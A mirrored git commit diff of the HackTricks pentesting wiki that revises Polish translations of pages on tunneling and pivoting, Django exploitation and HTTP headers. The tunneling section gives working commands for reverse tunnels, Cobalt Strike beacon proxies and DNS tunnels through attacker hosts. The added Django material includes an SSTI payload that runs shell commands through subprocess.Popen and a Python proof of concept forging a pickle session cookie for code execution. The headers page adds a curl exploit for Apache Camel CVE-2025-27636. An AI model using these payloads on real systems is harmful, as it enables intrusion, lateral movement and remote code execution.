mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
Translator
parent
e37958fa47
commit
58ef1167a4
@ -2,10 +2,10 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Wskazówka Nmap
|
||||
## Nmap tip
|
||||
|
||||
> [!WARNING]
|
||||
> **Skanowanie ICMP** i **SYN** nie może być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skanowanie TCP** (`-sT`), aby to działało.
|
||||
> **Skanowanie ICMP** i **SYN** nie może być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skany TCP** (`-sT`), aby to działało.
|
||||
|
||||
## **Bash**
|
||||
|
||||
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
Musisz mieć **root na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\
|
||||
Potrzebujesz **roota na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Bezpieczeństwo – Atak Terrapin (CVE-2023-48795)**
|
||||
> Atak downgrade Terrapin z 2023 roku może pozwolić atakującemu typu man-in-the-middle na manipulację wczesnym handshake'em SSH i wstrzykiwanie danych do **dowolnego przekazywanego kanału** ( `-L`, `-R`, `-D` ). Upewnij się, że zarówno klient, jak i serwer są załatane (**OpenSSH ≥ 9.6/LibreSSH 6.7**) lub wyraźnie wyłącz podatne algorytmy `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` w `sshd_config`/`ssh_config`, zanim polegasz na tunelach SSH. citeturn4search0
|
||||
> Atak degradacyjny Terrapin z 2023 roku może pozwolić atakującemu typu man-in-the-middle na manipulację wczesnym handshake'iem SSH i wstrzykiwanie danych do **dowolnego przekazywanego kanału** ( `-L`, `-R`, `-D` ). Upewnij się, że zarówno klient, jak i serwer są załatane (**OpenSSH ≥ 9.6/LibreSSH 6.7**) lub wyraźnie wyłącz podatne algorytmy `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` w `sshd_config`/`ssh_config`, zanim polegasz na tunelach SSH.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
Możesz **tunelować** przez **ssh** cały **ruch** do **podsieci** przez hosta.\
|
||||
Na przykład, przekazując cały ruch kierujący się do 10.10.10.0/24
|
||||
Na przykład, przekazywanie całego ruchu idącego do 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
@ -138,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
|
||||
### SOCKS proxy
|
||||
|
||||
Otwórz port w serwerze zespołu nasłuchujący na wszystkich interfejsach, który może być użyty do **przekierowania ruchu przez beacon**.
|
||||
Otwórz port w serwerze zespołu nasłuchujący na wszystkich interfejsach, który może być używany do **przekierowywania ruchu przez beacon**.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
@ -149,7 +149,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||||
### rPort2Port
|
||||
|
||||
> [!WARNING]
|
||||
> W tym przypadku **port jest otwarty w hoście beacon**, a nie w serwerze zespołu, a ruch jest wysyłany do serwera zespołu, a stamtąd do wskazanego hosta:port
|
||||
> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze Team Server, a ruch jest wysyłany do serwera Team Server, a stamtąd do wskazanego host:port
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
@ -160,10 +160,10 @@ Aby zauważyć:
|
||||
- Ruch jest **tunnelowany w ramach ruchu C2 Beacona**, w tym linków P2P.
|
||||
- **Uprawnienia administratora nie są wymagane** do tworzenia odwróconych przekierowań portów na wysokich portach.
|
||||
|
||||
### rPort2Port lokalny
|
||||
### rPort2Port lokalnie
|
||||
|
||||
> [!WARNING]
|
||||
> W tym przypadku **port jest otwierany w hoście beacona**, a nie w Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port
|
||||
> W tym przypadku **port jest otwierany na hoście beacona**, a nie na Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port
|
||||
```bash
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
rportfwd_local stop [bind port]
|
||||
@ -172,7 +172,7 @@ rportfwd_local stop [bind port]
|
||||
|
||||
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
|
||||
|
||||
Musisz przesłać plik tunelowy: ashx|aspx|js|jsp|php|php|jsp
|
||||
Musisz przesłać plik webowy tunel: ashx|aspx|js|jsp|php|php|jsp
|
||||
```bash
|
||||
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
||||
```
|
||||
@ -324,9 +324,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
```
|
||||
## Plink.exe
|
||||
|
||||
To jest jak konsolowa wersja PuTTY (opcje są bardzo podobne do klienta ssh).
|
||||
To jak wersja konsolowa PuTTY (opcje są bardzo podobne do klienta ssh).
|
||||
|
||||
Ponieważ ten plik binarny będzie wykonywany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie:
|
||||
Ponieważ ten plik binarny będzie uruchamiany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -360,7 +360,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **plugin SocksOverRDP jest włączony**, i będzie **nasłuchiwać** na **127.0.0.1:1080**.
|
||||
|
||||
**Połącz** się przez **RDP** i prześlij oraz uruchom na maszynie ofiary binarny plik `SocksOverRDP-Server.exe`:
|
||||
**Połącz** się przez **RDP** i prześlij oraz uruchom na maszynie ofiary plik binarny `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
@ -368,13 +368,13 @@ Teraz potwierdź na swoim urządzeniu (atakującym), że port 1080 nasłuchuje:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxyzowania ruchu przez ten port.**
|
||||
Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxyfikacji ruchu przez ten port.**
|
||||
|
||||
## Proxify aplikacje GUI Windows
|
||||
## Proxyfikacja aplikacji GUI w Windows
|
||||
|
||||
Możesz sprawić, że aplikacje GUI Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\
|
||||
Możesz sprawić, że aplikacje GUI w Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\
|
||||
W **Profile -> Proxy Servers** dodaj IP i port serwera SOCKS.\
|
||||
W **Profile -> Proxification Rules** dodaj nazwę programu do proxyzowania oraz połączenia do IP, które chcesz proxyzować.
|
||||
W **Profile -> Proxification Rules** dodaj nazwę programu do proxyfikacji oraz połączenia do IP, które chcesz proxyfikować.
|
||||
|
||||
## Ominięcie proxy NTLM
|
||||
|
||||
@ -396,7 +396,7 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Teraz, jeśli ustawisz na przykład w ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\
|
||||
Teraz, jeśli na przykład ustawisz na ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\
|
||||
Możesz również użyć **meterpreter**, który łączy się z localhost:443, a atakujący nasłuchuje na porcie 2222.
|
||||
|
||||
## YARP
|
||||
@ -409,7 +409,7 @@ Odwrócony proxy stworzony przez Microsoft. Możesz go znaleźć tutaj: [https:/
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
Root jest potrzebny w obu systemach, aby utworzyć adaptery tunelowe i przesyłać dane między nimi za pomocą zapytań DNS.
|
||||
Root jest potrzebny w obu systemach, aby utworzyć adaptery tunelowe i tunelować dane między nimi za pomocą zapytań DNS.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
@ -561,7 +561,7 @@ cloudflared tunnel --url http://localhost:8080
|
||||
cloudflared tunnel --url socks5://localhost:1080 --socks5
|
||||
# Now configure proxychains to use 127.0.0.1:1080
|
||||
```
|
||||
### Trwałe tunele z DNS
|
||||
### Trwałe tunelowanie z DNS
|
||||
```bash
|
||||
cloudflared tunnel create mytunnel
|
||||
cloudflared tunnel route dns mytunnel internal.example.com
|
||||
@ -574,11 +574,11 @@ Rozpocznij łącznik:
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
Ponieważ cały ruch opuszcza host **wychodzący przez 443**, tunelowanie Cloudflared to prosty sposób na obejście ACL-ów przychodzących lub granic NAT. Należy pamiętać, że binarka zazwyczaj działa z podwyższonymi uprawnieniami – używaj kontenerów lub flagi `--user`, gdy to możliwe. citeturn1search0
|
||||
Ponieważ cały ruch opuszcza host **wychodzący przez 443**, tunelowanie Cloudflared to prosty sposób na obejście ACL-ów przychodzących lub granic NAT. Należy pamiętać, że binarka zazwyczaj działa z podwyższonymi uprawnieniami – używaj kontenerów lub flagi `--user`, gdy to możliwe.
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp) to aktywnie utrzymywany proxy odwrotne w Go, które obsługuje **TCP, UDP, HTTP/S, SOCKS i P2P NAT-hole-punching**. Począwszy od **v0.53.0 (maj 2024)** może działać jako **SSH Tunnel Gateway**, dzięki czemu docelowy host może uruchomić odwrotny tunel, używając tylko standardowego klienta OpenSSH – nie jest wymagana dodatkowa binarka.
|
||||
[`frp`](https://github.com/fatedier/frp) to aktywnie utrzymywany proxy odwrotne w Go, które obsługuje **TCP, UDP, HTTP/S, SOCKS i P2P NAT-hole-punching**. Począwszy od **v0.53.0 (maj 2024)**, może działać jako **SSH Tunnel Gateway**, dzięki czemu docelowy host może uruchomić odwrotny tunel, używając tylko standardowego klienta OpenSSH – nie jest wymagana dodatkowa binarka.
|
||||
|
||||
### Klasyczny odwrotny tunel TCP
|
||||
```bash
|
||||
@ -599,7 +599,7 @@ localIP = "127.0.0.1"
|
||||
localPort = 3389
|
||||
remotePort = 5000
|
||||
```
|
||||
### Używanie nowego bramy SSH (bez binarki frpc)
|
||||
### Używanie nowej bramy SSH (bez binarki frpc)
|
||||
```bash
|
||||
# On frps (attacker)
|
||||
sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
@ -608,7 +608,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
# On victim (OpenSSH client only)
|
||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||
```
|
||||
Powyższe polecenie publikuje port ofiary **8080** jako **attacker_ip:9000** bez wdrażania dodatkowych narzędzi – idealne do pivotowania w trybie living-off-the-land. citeturn2search1
|
||||
Powyższe polecenie publikuje port ofiary **8080** jako **attacker_ip:9000** bez wdrażania dodatkowych narzędzi – idealne do pivotingu w trybie living-off-the-land.
|
||||
|
||||
## Inne narzędzia do sprawdzenia
|
||||
|
||||
|
||||
@ -7,6 +7,73 @@ Domyślną metodą przechowywania pamięci podręcznej w Django są [Python pick
|
||||
|
||||
Pamięć podręczna Django jest przechowywana w jednym z czterech miejsc: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [pamięci](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [plikach](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) lub w [bazie danych](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Pamięć podręczna przechowywana na serwerze Redis lub w bazie danych jest najbardziej prawdopodobnym wektorem ataku (iniekcja Redis i iniekcja SQL), ale atakujący może również wykorzystać pamięć podręczną opartą na plikach, aby przekształcić dowolny zapis w RCE. Utrzymujący oznaczyli to jako problem, który nie wymaga uwagi. Ważne jest, aby zauważyć, że folder plików pamięci podręcznej, nazwa tabeli SQL i szczegóły serwera Redis będą się różnić w zależności od implementacji.
|
||||
|
||||
Ten raport HackerOne dostarcza świetny, powtarzalny przykład wykorzystania pamięci podręcznej Django przechowywanej w bazie danych SQLite: https://hackerone.com/reports/1415436
|
||||
Ten raport HackerOne dostarcza świetnego, powtarzalnego przykładu wykorzystania pamięci podręcznej Django przechowywanej w bazie danych SQLite: https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## Wstrzykiwanie szablonów po stronie serwera (SSTI)
|
||||
Język szablonów Django (DTL) jest **kompletny w sensie Turinga**. Jeśli dane dostarczone przez użytkownika są renderowane jako *ciąg szablonu* (na przykład przez wywołanie `Template(user_input).render()` lub gdy `|safe`/`format_html()` usuwa automatyczne eskapowanie), atakujący może osiągnąć pełne SSTI → RCE.
|
||||
|
||||
### Wykrywanie
|
||||
1. Szukaj dynamicznych wywołań do `Template()` / `Engine.from_string()` / `render_to_string()`, które zawierają *jakiekolwiek* niesanitizowane dane z żądania.
|
||||
2. Wyślij ładunek oparty na czasie lub arytmetyce:
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
Jeśli renderowany wynik zawiera `49`, input jest kompilowany przez silnik szablonów.
|
||||
|
||||
### Primitwa do RCE
|
||||
Django blokuje bezpośredni dostęp do `__import__`, ale graf obiektów Pythona jest osiągalny:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
Znajdź indeks `subprocess.Popen` (≈400–500 w zależności od wersji Pythona) i wykonaj dowolne polecenia:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
Bezpieczniejszym uniwersalnym gadżetem jest iteracja, aż `cls.__name__ == 'Popen'`.
|
||||
|
||||
Ten sam gadżet działa dla funkcji renderowania **Debug Toolbar** lub **Django-CMS**, które niewłaściwie obsługują dane wejściowe użytkownika.
|
||||
|
||||
---
|
||||
|
||||
## RCE z wykorzystaniem ciasteczka sesyjnego opartego na Pickle
|
||||
Jeśli ustawienie `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` jest włączone (lub niestandardowy serializer, który deserializuje pickle), Django *deszyfruje i unpickluje* ciasteczko sesyjne **przed** wywołaniem jakiegokolwiek kodu widoku. Dlatego posiadanie ważnego klucza podpisu (domyślnie `SECRET_KEY` projektu) wystarcza do natychmiastowego zdalnego wykonania kodu.
|
||||
|
||||
### Wymagania dotyczące eksploatacji
|
||||
* Serwer używa `PickleSerializer`.
|
||||
* Atakujący zna / może zgadnąć `settings.SECRET_KEY` (wycieki przez GitHub, `.env`, strony błędów itp.).
|
||||
|
||||
### Dowód koncepcji
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from django.contrib.sessions.serializers import PickleSerializer
|
||||
from django.core import signing
|
||||
import os, base64
|
||||
|
||||
class RCE(object):
|
||||
def __reduce__(self):
|
||||
return (os.system, ("id > /tmp/pwned",))
|
||||
|
||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||
print(f"sessionid={mal}")
|
||||
```
|
||||
Wyślij wynikowe ciasteczko, a ładunek działa z uprawnieniami pracownika WSGI.
|
||||
|
||||
**Mitigacje**: Utrzymuj domyślny `JSONSerializer`, rotuj `SECRET_KEY` i skonfiguruj `SESSION_COOKIE_HTTPONLY`.
|
||||
|
||||
---
|
||||
|
||||
## Ostatnie (2023-2025) Wysokiego Wpływu CVE Django, które powinni sprawdzić pentesterzy
|
||||
* **CVE-2025-48432** – *Wstrzykiwanie logów przez nieucieczone `request.path`* (naprawione 4 czerwca 2025). Pozwala atakującym na przemycanie nowych linii/kodów ANSI do plików logów i zanieczyszczanie analizy logów w dół. Poziom łaty ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Krytyczne wstrzykiwanie SQL* w `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Twórz klucze JSON, aby wydostać się z cytatów i wykonywać dowolne SQL. Naprawione w 4.2.15 / 5.0.8.
|
||||
|
||||
Zawsze identyfikuj dokładną wersję frameworka za pomocą strony błędu `X-Frame-Options` lub hasha `/static/admin/css/base.css` i testuj powyższe tam, gdzie to możliwe.
|
||||
|
||||
---
|
||||
|
||||
## Odniesienia
|
||||
* Wydanie zabezpieczeń Django – "Django 5.2.2, 5.1.10, 4.2.22 adresuje CVE-2025-48432" – 4 czerwca 2025.
|
||||
* OP-Innovate: "Django wydaje aktualizacje zabezpieczeń w celu rozwiązania problemu z wstrzykiwaniem SQL CVE-2024-42005" – 11 sierpnia 2024.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -56,7 +56,7 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania
|
||||
|
||||
**Nagłówki pamięci podręcznej serwera**:
|
||||
|
||||
- **`X-Cache`** w odpowiedzi może mieć wartość **`miss`** gdy żądanie nie zostało zapisane w pamięci podręcznej i wartość **`hit`** gdy jest zapisane
|
||||
- **`X-Cache`** w odpowiedzi może mieć wartość **`miss`**, gdy żądanie nie zostało zapisane w pamięci podręcznej, oraz wartość **`hit`**, gdy jest zapisane w pamięci podręcznej
|
||||
- Podobne zachowanie w nagłówku **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** wskazuje, czy zasób jest zapisywany w pamięci podręcznej i kiedy będzie następny raz zapisywany: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** jest często używane w odpowiedzi do **wskazania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane.
|
||||
@ -76,7 +76,7 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania
|
||||
|
||||
## Warunki
|
||||
|
||||
- Żądania używające tych nagłówków: **`If-Modified-Since`** i **`If-Unmodified-Since`** będą odpowiadać danymi tylko wtedy, gdy nagłówek odpowiedzi **`Last-Modified`** zawiera inny czas.
|
||||
- Żądania używające tych nagłówków: **`If-Modified-Since`** i **`If-Unmodified-Since`** będą odpowiadać danymi tylko wtedy, gdy nagłówek odpowiedzi **`Last-Modified`** zawiera inną datę.
|
||||
- Warunkowe żądania używające **`If-Match`** i **`If-None-Match`** wykorzystują wartość Etag, aby serwer WWW wysłał zawartość odpowiedzi, jeśli dane (Etag) się zmieniły. `Etag` jest pobierany z odpowiedzi HTTP.
|
||||
- Wartość **Etag** jest zazwyczaj **obliczana na podstawie** **zawartości** odpowiedzi. Na przykład, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` wskazuje, że `Etag` to **Sha1** **37 bajtów**.
|
||||
|
||||
@ -90,14 +90,14 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania
|
||||
|
||||
## Informacje o ciele wiadomości
|
||||
|
||||
- **`Content-Length`:** Rozmiar zasobu, w dziesiętnych bajtach.
|
||||
- **`Content-Length`:** Rozmiar zasobu, w dziesiętnej liczbie bajtów.
|
||||
- **`Content-Type`**: Wskazuje typ mediów zasobu
|
||||
- **`Content-Encoding`**: Używane do określenia algorytmu kompresji.
|
||||
- **`Content-Language`**: Opisuje język(languages) przeznaczony dla odbiorców, aby umożliwić użytkownikowi różnicowanie według własnych preferencji językowych.
|
||||
- **`Content-Location`**: Wskazuje alternatywną lokalizację dla zwróconych danych.
|
||||
|
||||
Z punktu widzenia pentestów te informacje są zazwyczaj "bezużyteczne", ale jeśli zasób jest **chroniony** przez 401 lub 403 i możesz znaleźć jakiś **sposób** na **uzyskanie** tych **informacji**, może to być **interesujące.**\
|
||||
Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawniać zawartość strony za pomocą żądań HEAD:
|
||||
Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawnić zawartość strony za pomocą żądań HEAD:
|
||||
|
||||
- Żądanie z nagłówkiem `Range: bytes=20-20` i odpowiedzią zawierającą `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` ujawnia, że SHA1 bajtu 20 to `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
@ -158,9 +158,9 @@ Aby zwalczyć clickjacking, ten nagłówek ogranicza sposób, w jaki dokumenty m
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
### **Cross-Origin Resource Policy (CORP) i Cross-Origin Resource Sharing (CORS)**
|
||||
### **Polityka zasobów między źródłami (CORP) i Współdzielenie zasobów między źródłami (CORS)**
|
||||
|
||||
CORP jest kluczowy dla określenia, które zasoby mogą być ładowane przez strony internetowe, łagodząc wycieki między witrynami. CORS, z drugiej strony, pozwala na bardziej elastyczny mechanizm udostępniania zasobów między różnymi źródłami, łagodząc politykę tego samego pochodzenia w określonych warunkach.
|
||||
CORP jest kluczowy dla określenia, które zasoby mogą być ładowane przez strony internetowe, łagodząc wycieki między witrynami. CORS, z drugiej strony, umożliwia bardziej elastyczny mechanizm współdzielenia zasobów między źródłami, łagodząc politykę tego samego źródła w określonych warunkach.
|
||||
```
|
||||
Cross-Origin-Resource-Policy: same-origin
|
||||
Access-Control-Allow-Origin: https://example.com
|
||||
@ -175,12 +175,47 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
```
|
||||
### **HTTP Strict Transport Security (HSTS)**
|
||||
|
||||
Ostatnio, HSTS to funkcja zabezpieczeń, która zmusza przeglądarki do komunikacji z serwerami tylko za pośrednictwem bezpiecznych połączeń HTTPS, co zwiększa prywatność i bezpieczeństwo.
|
||||
Na koniec, HSTS to funkcja zabezpieczeń, która zmusza przeglądarki do komunikacji z serwerami tylko za pośrednictwem bezpiecznych połączeń HTTPS, co zwiększa prywatność i bezpieczeństwo.
|
||||
```
|
||||
Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## Header Name Casing Bypass
|
||||
|
||||
HTTP/1.1 definiuje nazwy pól nagłówków jako **niezależne od wielkości liter** (RFC 9110 §5.1). Niemniej jednak, bardzo często można spotkać niestandardowe oprogramowanie pośredniczące, filtry zabezpieczeń lub logikę biznesową, które porównują *dosłowną* nazwę nagłówka bez wcześniejszego normalizowania wielkości liter (np. `header.equals("CamelExecCommandExecutable")`). Jeśli te kontrole są przeprowadzane **z uwzględnieniem wielkości liter**, atakujący może je obejść, po prostu wysyłając ten sam nagłówek z inną kapitalizacją.
|
||||
|
||||
Typowe sytuacje, w których pojawia się ten błąd:
|
||||
|
||||
* Niestandardowe listy dozwolonych/zabronionych, które próbują zablokować „niebezpieczne” wewnętrzne nagłówki, zanim żądanie dotrze do wrażliwego komponentu.
|
||||
* Wewnętrzne implementacje pseudo-nagłówków reverse-proxy (np. sanitizacja `X-Forwarded-For`).
|
||||
* Frameworki, które udostępniają punkty końcowe zarządzania/debugowania i polegają na nazwach nagłówków do uwierzytelniania lub wyboru poleceń.
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
1. Zidentyfikuj nagłówek, który jest filtrowany lub walidowany po stronie serwera (na przykład, poprzez przeglądanie kodu źródłowego, dokumentacji lub komunikatów o błędach).
|
||||
2. Wyślij **ten sam nagłówek z inną wielkością liter** (mieszana wielkość liter lub wielkie litery). Ponieważ stosy HTTP zazwyczaj kanonizują nagłówki tylko *po* wykonaniu kodu użytkownika, wrażliwa kontrola może zostać pominięta.
|
||||
3. Jeśli komponent downstream traktuje nagłówki w sposób niezależny od wielkości liter (większość tak robi), zaakceptuje wartość kontrolowaną przez atakującego.
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
W wrażliwych wersjach Apache Camel trasy *Command Center* próbują zablokować nieufne żądania, usuwając nagłówki `CamelExecCommandExecutable` i `CamelExecCommandArgs`. Porównanie było przeprowadzane za pomocą `equals()`, więc usunięto tylko dokładne nazwy małymi literami.
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
Nagłówki docierają do komponentu `exec` bez filtracji, co skutkuje zdalnym wykonaniem poleceń z uprawnieniami procesu Camel.
|
||||
|
||||
### Wykrywanie i łagodzenie
|
||||
|
||||
* Normalizuj wszystkie nazwy nagłówków do jednej formy (zwykle małymi literami) **przed** przeprowadzeniem porównań zezwalających/odrzucających.
|
||||
* Odrzuć podejrzane duplikaty: jeśli obecne są zarówno `Header:`, jak i `HeAdEr:`, traktuj to jako anomalię.
|
||||
* Użyj pozytywnej listy dozwolonych elementów egzekwowanej **po** kanonizacji.
|
||||
* Chroń punkty końcowe zarządzania za pomocą uwierzytelniania i segmentacji sieci.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [CVE-2025-27636 – RCE w Apache Camel poprzez obejście wielkości liter nagłówków (blog OffSec)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
|
||||
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user